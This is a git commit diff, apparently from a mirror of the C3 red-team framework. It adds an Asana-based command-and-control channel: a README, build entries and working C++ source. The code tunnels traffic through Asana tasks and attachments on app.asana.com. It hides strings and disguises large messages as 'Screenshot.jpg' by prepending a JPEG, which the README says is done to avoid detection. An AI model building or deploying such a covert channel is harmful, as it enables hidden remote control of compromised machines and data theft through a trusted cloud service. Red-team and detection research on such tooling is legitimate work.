mirror of https://github.com/infosecn1nja/C3.git
Merge branch 'tvgdb/master'
commit
69f2f53110
|
@ -0,0 +1,57 @@
|
|||
## The Asana channel
|
||||
|
||||
### Usage
|
||||
|
||||
The Asana channel uses [asana.com](https://asana.com/) (a popular cloud-based project management and task tracking tool) to communicate messages back and forth between the C3 gateway and the Relay. To use this channel, you'll need to provide C3 with two parameters:
|
||||
|
||||
* An Asana Personal Access Token
|
||||
* The Asana Project's `gid`
|
||||
|
||||
Asana is [free to use](https://asana.com/pricing) (with a limited number of features, but we only need the basic stuff).
|
||||
To register a new Asana account, go to [asana.com/create-account](https://asana.com/create-account) and sign up using your email address. After the initial setup, you should have registered a workspace and a project.
|
||||
|
||||
To retrieve the `gid` of the project, simply browse to "My Workspace" in the sidebar and open the project. The `gid` should appear in the URL bar.
|
||||
|
||||
![](AsanaChannelImages/1.png)
|
||||
|
||||
![](AsanaChannelImages/2.png)
|
||||
|
||||
![](AsanaChannelImages/3.png)
|
||||
|
||||
That number (starting with '1174' in the screenshot) is the `gid`. You'll need this when creating the channel in the web interface.
|
||||
|
||||
The second thing you'll need is a Personal Access Token. This token is Asana's version of an API key; it identifies you to the API. To generate a Personal Access Token, browse to [app.asana.com/0/developer-console](https://app.asana.com/0/developer-console) and select "New access token".
|
||||
|
||||
With these two parameters, you can create the Asana channel in the C3 web interface.
|
||||
|
||||
### How the channel works
|
||||
|
||||
How a C3 channel works is well-explained in [CONTRIBUTING.md](../CONTRIBUTING.md); this section will (briefly) explain how the Asana channel uses Asana's features to achieve C2 communication.
|
||||
|
||||
**Initialization**
|
||||
|
||||
The channel starts by initializing two [sections](https://asana.com/guide/help/projects/sections) in the provided project (one for inbound communication, one for outbound).
|
||||
|
||||
**Sending messages**
|
||||
|
||||
Messages are sent as Asana tasks. For every message, a new task is created in the outbound section.
|
||||
|
||||
Sending messages works as follows: first, the size of the message is checked. The size of the message will dictate how we'll send this message to the other end of the channel. If the message is sufficiently small, we can transfer the message in one API call by base64 encoding the message and saving the result in the `Description` field of a task.
|
||||
|
||||
![](AsanaChannelImages/4.png)
|
||||
|
||||
If the message is too large to fit in the `Description` field, we upload an attachment to the task instead. Since creating a task and uploading an attachment can't be done in one API call, we need to ensure that the receiving end does not process the task before we have added the attachment. This is done by appending `:writing` to the task name (tasks with this suffix will be ignored by the receiver).
|
||||
|
||||
![](AsanaChannelImages/5.png)
|
||||
|
||||
After we successfully upload the attachment, we rename the task to remove the `:writing` suffix.
|
||||
|
||||
![](AsanaChannelImages/6.png)
|
||||
|
||||
The messages in an attachment are obfuscated by prepending them with a JPEG image. We do this to avoid detection: a file containing a random string of bytes or a base64 text file might arouse suspicion, while a valid JPG image might not. Of course this is a very basic way of hiding the message, but its all I managed to do with my limited C++ skills.
|
||||
|
||||
I would highly recommend to avoid using the default image in engagements. You can edit the prefix in `Asana.cpp` (variable `std::string attachmentPrefixBase64`).
|
||||
|
||||
**Receiving messages**
|
||||
|
||||
Receiving messages is more straightforward: all tasks in the inbound section are listed and retrieved. The message is retrieved by checking if the task contains an attachment; no attachments indicate the message is in the `Description` field, otherwise the message is contained in the attachment. Then all tasks are sorted by creation date (to ensure proper order of delivery) and, if applicable, the JPEG prefix is removed.
|
Binary file not shown.
After Width: | Height: | Size: 13 KiB |
Binary file not shown.
After Width: | Height: | Size: 10 KiB |
Binary file not shown.
After Width: | Height: | Size: 4.8 KiB |
Binary file not shown.
After Width: | Height: | Size: 83 KiB |
Binary file not shown.
After Width: | Height: | Size: 7.2 KiB |
Binary file not shown.
After Width: | Height: | Size: 23 KiB |
|
@ -16,6 +16,8 @@
|
|||
<ItemGroup>
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\OneDrive365RestFile.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Slack.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\MSSQL.cpp" />
|
||||
|
@ -56,6 +58,8 @@
|
|||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Office365.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\OneDrive365RestFile.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteArray.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteConverter.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteVector.h" />
|
||||
|
|
|
@ -32,6 +32,8 @@
|
|||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Mock.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Grunt.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
|
||||
|
@ -113,5 +115,7 @@
|
|||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Mock.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Office365.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.h" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
|
|
|
@ -0,0 +1,193 @@
|
|||
#include "stdafx.h"
|
||||
#include "AsanaApi.h"
|
||||
#include "Common/FSecure/CppTools/StringConversions.h"
|
||||
#include "Common/FSecure/WinHttp/HttpClient.h"
|
||||
|
||||
using namespace FSecure::StringConversions;
|
||||
using namespace FSecure::WinHttp;
|
||||
|
||||
namespace {
|
||||
std::wstring ToWideString(std::string const& str) {
|
||||
return Convert<Utf16>(str);
|
||||
}
|
||||
}
|
||||
|
||||
FSecure::AsanaApi::AsanaApi(std::string const& token, std::string const& projectId, std::string const& inboundDirectionName, std::string const& outboundDirectionName) {
|
||||
if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty())
|
||||
this->m_ProxyConfig = (winProxy == OBF(L"auto")) ? WebProxy(WebProxy::Mode::UseAutoDiscovery) : WebProxy(winProxy);
|
||||
|
||||
this->m_Token = token;
|
||||
this->m_ProjectId = projectId;
|
||||
|
||||
this->m_SectionIdInbound = GetOrCreateSectionIdByName(inboundDirectionName);
|
||||
this->m_SectionIdOutbound = GetOrCreateSectionIdByName(outboundDirectionName);
|
||||
}
|
||||
|
||||
std::string FSecure::AsanaApi::CreateTask(std::string const& taskName, std::string const& body) {
|
||||
assert(body.size() < 65'535);
|
||||
std::string url = OBF("https://app.asana.com/api/1.0/tasks/");
|
||||
json j;
|
||||
j[OBF("data")][OBF("name")] = taskName;
|
||||
j[OBF("data")][OBF("notes")] = body;
|
||||
j[OBF("data")][OBF("projects")] = json::array({ this->m_ProjectId });
|
||||
j[OBF("data")][OBF("memberships")] = json::array({ json::object({ {OBF("project"), this->m_ProjectId}, {OBF("section"), this->m_SectionIdOutbound} }) });
|
||||
json response = SendJsonRequest(url, j, Method::POST);
|
||||
return response[OBF("data")][OBF("gid")];
|
||||
}
|
||||
|
||||
std::string FSecure::AsanaApi::CreateTaskWithAttachment(std::string const& taskName, std::vector<uint8_t> const& attachmentBody, std::string const& attachmentFileName, std::string const& attachmentMimeType) {
|
||||
assert(attachmentBody.size() < 104'857'600); // attachments are limited to 100 MB
|
||||
// Create new, empty task
|
||||
std::string taskId = CreateTask(taskName + OBF(":writing"), "");
|
||||
// Add attachment
|
||||
AddAttachmentToTask(taskId, attachmentBody, attachmentFileName, attachmentMimeType);
|
||||
// Rename task to indicate it's ready
|
||||
RenameTask(taskId, taskName);
|
||||
return taskId;
|
||||
}
|
||||
|
||||
std::vector<std::tuple<std::string, std::string, std::vector<uint8_t>, bool>> FSecure::AsanaApi::GetTasks() {
|
||||
std::string url = OBF("https://app.asana.com/api/1.0/sections/") + this->m_SectionIdInbound + OBF("/tasks?opt_fields=name,notes,created_at,attachments");
|
||||
json response = SendJsonRequest(url, NULL, Method::GET);
|
||||
|
||||
std::vector<std::tuple<std::string, std::string, std::vector<uint8_t>, bool>> ret;
|
||||
for (auto& task : response[OBF("data")]) {
|
||||
std::string taskName = task[OBF("name")];
|
||||
if (taskName.find(OBF(":writing")) == std::string::npos) { // make sure ':writing' is not in the task name
|
||||
std::string taskId = task[OBF("gid")];
|
||||
std::string creationTimestamp = task[OBF("created_at")];
|
||||
std::vector<uint8_t> body;
|
||||
bool dataFromAttachment;
|
||||
if (task[OBF("attachments")].empty()) {
|
||||
// No attachments in task, so the body is in the "notes" attribute
|
||||
std::string notes = task[OBF("notes")];
|
||||
body = std::vector<uint8_t>(std::make_move_iterator(notes.begin()), std::make_move_iterator(notes.end()));
|
||||
dataFromAttachment = false;
|
||||
} else {
|
||||
// Attachment found! Body is in the attachment.
|
||||
std::string attachmentId = task[OBF("attachments")][0][OBF("gid")];
|
||||
body = GetAttachmentById(attachmentId);
|
||||
dataFromAttachment = true;
|
||||
}
|
||||
ret.emplace_back(std::make_tuple(std::move(taskId), std::move(creationTimestamp), std::move(body), std::move(dataFromAttachment)));
|
||||
}
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
void FSecure::AsanaApi::DeleteTask(std::string const& taskId) {
|
||||
std::string url = OBF("https://app.asana.com/api/1.0/tasks/") + taskId;
|
||||
SendJsonRequest(url, NULL, Method::DEL);
|
||||
}
|
||||
|
||||
std::string FSecure::AsanaApi::GetOrCreateSectionIdByName(std::string const& sectionName) {
|
||||
// Check if the section already exists
|
||||
std::string sectionId = GetSectionIdByName(sectionName);
|
||||
if (sectionId.empty()) {
|
||||
// If section does not exist, create it.
|
||||
sectionId = CreateSectionIdByName(sectionName);
|
||||
}
|
||||
return sectionId;
|
||||
}
|
||||
|
||||
std::string FSecure::AsanaApi::GetSectionIdByName(std::string const& sectionName) {
|
||||
std::string url = OBF("https://app.asana.com/api/1.0/projects/") + this->m_ProjectId + OBF("/sections");
|
||||
json response = SendJsonRequest(url, NULL, Method::GET);
|
||||
for (auto& section : response[OBF("data")]) {
|
||||
std::string name = section[OBF("name")];
|
||||
if (name == sectionName) {
|
||||
return section[OBF("gid")];
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
std::string FSecure::AsanaApi::CreateSectionIdByName(std::string const& sectionName) {
|
||||
std::string url = OBF("https://app.asana.com/api/1.0/projects/") + this->m_ProjectId + OBF("/sections");
|
||||
json body;
|
||||
body[OBF("data")][OBF("name")] = sectionName;
|
||||
json response = SendJsonRequest(url, body, Method::POST);
|
||||
return response[OBF("data")][OBF("gid")];
|
||||
}
|
||||
|
||||
std::string FSecure::AsanaApi::AddAttachmentToTask(std::string const& taskId, std::vector<uint8_t> const& attachmentBody, std::string const& attachmentFileName, std::string const& attachmentMimeType) {
|
||||
std::string url = OBF("https://app.asana.com/api/1.0/tasks/") + taskId + OBF("/attachments");
|
||||
// Generating body
|
||||
std::string boundary = OBF("------WebKitFormBoundary") + Utils::GenerateRandomString(16); // Mimicking WebKit, generate random boundary string
|
||||
// Building the multipart body (prefix + attachment + suffix)
|
||||
std::vector<uint8_t> body;
|
||||
std::string bodyPrefix = OBF("\r\n");
|
||||
bodyPrefix += OBF("--") + boundary + OBF("\r\n");
|
||||
bodyPrefix += OBF("Content-Disposition: form-data; name=\"file\"; filename=\"") + attachmentFileName + OBF("\"") + OBF("\r\n");
|
||||
bodyPrefix += OBF("Content-Type: ") + attachmentMimeType + OBF("\r\n\r\n");
|
||||
body.insert(body.begin(), bodyPrefix.begin(), bodyPrefix.end()); // Insert the prefix
|
||||
body.insert(body.end(), attachmentBody.begin(), attachmentBody.end()); // Insert the attachment content
|
||||
std::string bodySuffix = OBF("\r\n");
|
||||
bodySuffix += OBF("--") + boundary + OBF("--") + OBF("\r\n");
|
||||
body.insert(body.end(), bodySuffix.begin(), bodySuffix.end()); // Insert the suffix
|
||||
// Send HTTP request
|
||||
std::string contentType = OBF("multipart/form-data; boundary=") + boundary;
|
||||
json response = json::parse(SendHttpRequest(url, { contentType.begin(), contentType.end() }, body, Method::POST));
|
||||
return response[OBF("data")][OBF("gid")];
|
||||
}
|
||||
|
||||
void FSecure::AsanaApi::RenameTask(std::string const& taskId, std::string const& newTaskName) {
|
||||
std::string url = OBF("https://app.asana.com/api/1.0/tasks/") + taskId;
|
||||
json j;
|
||||
j[OBF("data")][OBF("name")] = newTaskName;
|
||||
SendJsonRequest(url, j, Method::PUT);
|
||||
}
|
||||
|
||||
std::vector<uint8_t> FSecure::AsanaApi::GetAttachmentById(std::string const& attachmentId) {
|
||||
// First we need to get the download url (Asana stores its attachments in S3)
|
||||
std::string url = OBF("https://app.asana.com/api/1.0/attachments/") + attachmentId;
|
||||
json response = SendJsonRequest(url, NULL, Method::GET);
|
||||
std::string downloadUrl = response[OBF("data")][OBF("download_url")];
|
||||
// Then download the content of the attachment
|
||||
std::string::size_type i = downloadUrl.find(OBF("#_=_")); // Got to remove the '#_=_' of the download string (cpprestsdk can't handle this)
|
||||
if (i != std::string::npos) {
|
||||
downloadUrl.erase(i, 4);
|
||||
}
|
||||
ByteVector content = SendHttpRequest(downloadUrl, ContentType::Text, {}, Method::GET, false); // Content type will be ignored, since data is empty
|
||||
return std::vector<uint8_t>(std::make_move_iterator(content.begin()), std::make_move_iterator(content.end()));
|
||||
}
|
||||
|
||||
FSecure::ByteVector FSecure::AsanaApi::SendHttpRequest(std::string const& host, FSecure::WinHttp::ContentType contentType, std::vector<uint8_t> const& data, FSecure::WinHttp::Method method, bool setAuthorizationHeader) {
|
||||
return SendHttpRequest(host, GetContentType(contentType), data, method, setAuthorizationHeader);
|
||||
}
|
||||
|
||||
FSecure::ByteVector FSecure::AsanaApi::SendHttpRequest(std::string const& host, std::wstring const& contentType, std::vector<uint8_t> const& data, FSecure::WinHttp::Method method, bool setAuthorizationHeader) {
|
||||
while (true) {
|
||||
HttpClient webClient(ToWideString(host), m_ProxyConfig);
|
||||
HttpRequest request;
|
||||
request.m_Method = method;
|
||||
|
||||
if (!data.empty()) {
|
||||
request.SetData(contentType, data);
|
||||
}
|
||||
|
||||
if (setAuthorizationHeader) { // Only set Authorization header when needed (S3 doesn't like this header)
|
||||
request.SetHeader(Header::Authorization, OBF(L"Bearer ") + ToWideString(this->m_Token));
|
||||
}
|
||||
|
||||
auto resp = webClient.Request(request);
|
||||
|
||||
if (resp.GetStatusCode() == StatusCode::OK || resp.GetStatusCode() == StatusCode::Created) {
|
||||
return resp.GetData();
|
||||
} else if (resp.GetStatusCode() == StatusCode::TooManyRequests) {
|
||||
std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s));
|
||||
} else {
|
||||
throw std::exception(OBF("[x] Non 200/201/429 HTTP Response\n"));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
json FSecure::AsanaApi::SendJsonRequest(std::string const& url, json const& data, FSecure::WinHttp::Method method) {
|
||||
if (data == NULL) {
|
||||
return json::parse(SendHttpRequest(url, ContentType::MultipartFormData, {}, method));
|
||||
} else {
|
||||
std::string j = data.dump();
|
||||
return json::parse(SendHttpRequest(url, ContentType::ApplicationJson, { std::make_move_iterator(j.begin()), std::make_move_iterator(j.end()) }, method));
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,102 @@
|
|||
#pragma once
|
||||
|
||||
#include "Common/json/json.hpp"
|
||||
#include "Common/FSecure/WinHttp/WebProxy.h"
|
||||
#include "Common/FSecure/WinHttp/Constants.h"
|
||||
|
||||
using json = nlohmann::json; //for easy parsing of json API: https://github.com/nlohmann/json
|
||||
|
||||
namespace FSecure
|
||||
{
|
||||
class AsanaApi
|
||||
{
|
||||
|
||||
public:
|
||||
/// Default constructor.
|
||||
AsanaApi() = default;
|
||||
|
||||
/// Constructor for the Asana Api class.
|
||||
/// @param token - the personal authentication token generated in Asana
|
||||
/// @param projectId - ID of the project to post tasks into
|
||||
AsanaApi(std::string const& token, std::string const& projectId, std::string const& inboundDirectionName, std::string const& outboundDirectionName);
|
||||
|
||||
/// Create an Asana task
|
||||
/// @param taskName - Name of the new task
|
||||
/// @param body - Text to put in the "notes" field (field 'Description' in the Web UI). Max 65'535 characters!
|
||||
/// @return - The id of the newly created task
|
||||
std::string CreateTask(std::string const& taskName, std::string const& body);
|
||||
|
||||
/// Create an Asana task with attachment
|
||||
/// @param taskName - Name of the new task
|
||||
/// @param attachmentBody - The content of the attachment
|
||||
/// @param attachmentFileName - The filename to pass in the HTTP request
|
||||
/// @param attachmentMimeType - The mime type to set in the HTTP request (Content-Type)
|
||||
/// @return - The id of the newly created task
|
||||
std::string CreateTaskWithAttachment(std::string const& taskName, std::vector<uint8_t> const& attachmentBody, std::string const& attachmentFileName, std::string const& attachmentMimeType);
|
||||
|
||||
/// Get Asana tasks in a section
|
||||
/// @return - an array of quadruplets containing (1) the task id, (2) the task creation timestamp, (3) the data linked to this task and (4) if the data came from an attachment
|
||||
std::vector<std::tuple<std::string, std::string, std::vector<uint8_t>, bool>> GetTasks();
|
||||
|
||||
/// Delete task
|
||||
/// @param taskId - ID of the task to delete
|
||||
void DeleteTask(std::string const& taskId);
|
||||
|
||||
/// Rename a task
|
||||
/// @param taskId - ID of the task
|
||||
/// @param newTaskName - The new name of the task
|
||||
void RenameTask(std::string const& taskId, std::string const& newTaskName);
|
||||
|
||||
/// Add attachment to existing task
|
||||
/// @param taskId - ID of the task
|
||||
/// @param attachmentBody - The content of the attachment
|
||||
/// @param attachmentFileName - The filename to pass in the HTTP request
|
||||
/// @param attachmentMimeType - The mime type to set in the HTTP request (Content-Type)
|
||||
/// @return - the ID of the newly created attachment
|
||||
std::string AddAttachmentToTask(std::string const& taskId, std::vector<uint8_t> const& attachmentBody, std::string const& attachmentFileName, std::string const& attachmentMimeType);
|
||||
|
||||
/// Retrieve the contents of an attachment
|
||||
/// @param attachmentId - The ID of the attachment to retrieve
|
||||
/// @return - The content of the attachment
|
||||
std::vector<uint8_t> GetAttachmentById(std::string const& attachmentId);
|
||||
private:
|
||||
/// Create or retrieve section by name
|
||||
/// @param sectionName - the name of the section to retrieve/create
|
||||
/// @return - the id of the section
|
||||
std::string GetOrCreateSectionIdByName(std::string const& sectionName);
|
||||
|
||||
/// Retrieve sections of this project
|
||||
/// @param sectionName - the name of the section to retrieve
|
||||
/// @return - the id of the section (if found), or the empty string (if not found)
|
||||
std::string GetSectionIdByName(std::string const& sectionName);
|
||||
|
||||
/// Create a section
|
||||
/// @param sectionName - the name of the section to retrieve
|
||||
/// @return - the id of the section
|
||||
std::string CreateSectionIdByName(std::string const& sectionName);
|
||||
|
||||
/// Send http request, uses preset token for authentication (wrapper to easily set content type)
|
||||
FSecure::ByteVector FSecure::AsanaApi::SendHttpRequest(std::string const& host, WinHttp::ContentType contentType, std::vector<uint8_t> const& data, WinHttp::Method method, bool setAuthorizationHeader = true);
|
||||
|
||||
/// Send http request, uses preset token for authentication
|
||||
FSecure::ByteVector FSecure::AsanaApi::SendHttpRequest(std::string const& host, std::wstring const& contentType, std::vector<uint8_t> const& data, WinHttp::Method method, bool setAuthorizationHeader = true);
|
||||
|
||||
/// Send http request with json data, uses preset token for authentication
|
||||
json SendJsonRequest(std::string const& url, json const& data, WinHttp::Method method);
|
||||
|
||||
/// Hold proxy settings
|
||||
WinHttp::WebProxy m_ProxyConfig;
|
||||
|
||||
/// Holds the API token
|
||||
std::string m_Token;
|
||||
|
||||
/// Holds the Project ID
|
||||
std::string m_ProjectId;
|
||||
|
||||
/// Holds the Section ID for the inbound channel (auto-created or retrieved in constructor)
|
||||
std::string m_SectionIdInbound;
|
||||
|
||||
/// Holds the Section ID for the outbound channel (auto-created or retrieved in constructor)
|
||||
std::string m_SectionIdOutbound;
|
||||
};
|
||||
}
|
|
@ -0,0 +1,112 @@
|
|||
#include "Stdafx.h"
|
||||
#include "Asana.h"
|
||||
#include "Common/FSecure/Crypto/Base64.h"
|
||||
|
||||
FSecure::C3::Interfaces::Channels::Asana::Asana(ByteView arguments)
|
||||
: m_inboundDirectionName{ arguments.Read<std::string>() }
|
||||
, m_outboundDirectionName{ arguments.Read<std::string>() }
|
||||
{
|
||||
auto [token, projectId] = arguments.Read<std::string, std::string>();
|
||||
m_asanaObj = FSecure::AsanaApi{ token, projectId, m_inboundDirectionName, m_outboundDirectionName };
|
||||
// This is the base64 of the image you'd like to prepend to all Asana attachments
|
||||
std::string attachmentPrefixBase64 = OBF("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");
|
||||
m_attachmentPrefix = cppcodec::base64_rfc4648::decode(attachmentPrefixBase64);
|
||||
}
|
||||
|
||||
size_t FSecure::C3::Interfaces::Channels::Asana::OnSendToChannel(ByteView data)
|
||||
{
|
||||
std::string taskName = OBF("Task") + std::to_string(FSecure::Utils::GenerateRandomValue<int>(10000, 99999)); // random task name
|
||||
// Asana's task descriptions can't exceed 65 535 characters. If the packet is bigger than this treshold, we upload an attachment instead.
|
||||
if (data.size() < cppcodec::base64_rfc4648::decoded_max_size(65'535)) {
|
||||
// Data size is smaller than treshold, proceeding by adding data to the Description field of the task.
|
||||
m_asanaObj.CreateTask(taskName, cppcodec::base64_rfc4648::encode(data.data(), data.size()));
|
||||
return data.size();
|
||||
} else {
|
||||
// Data size is larger than treshold, proceeding by putting data in the task's attachment
|
||||
std::string attachmentName = OBF("Screenshot.jpg"); // inconspicuous attachment name
|
||||
// Make sure we're not sending more than 100MB in attachment (this check is probably overly cautious)
|
||||
size_t maxMessageSize = 104'857'600 - m_attachmentPrefix.size();
|
||||
size_t actualPacketSize = std::min(maxMessageSize, data.size());
|
||||
ByteVector sendData = data.SubString(0, actualPacketSize);
|
||||
// Prepend the prefix to the payload
|
||||
sendData.insert(sendData.begin(), m_attachmentPrefix.begin(), m_attachmentPrefix.end());
|
||||
// We have to move the data into an actual vector<uint8_t> because ByteVector only privately inherits from vector<uint8_t>..
|
||||
std::vector<uint8_t> tmp;
|
||||
tmp.insert(tmp.begin(), std::make_move_iterator(sendData.begin()), std::make_move_iterator(sendData.end()));
|
||||
// Create the task
|
||||
m_asanaObj.CreateTaskWithAttachment(taskName, tmp, attachmentName, OBF("image/jpeg"));
|
||||
return actualPacketSize;
|
||||
}
|
||||
|
||||
}
|
||||
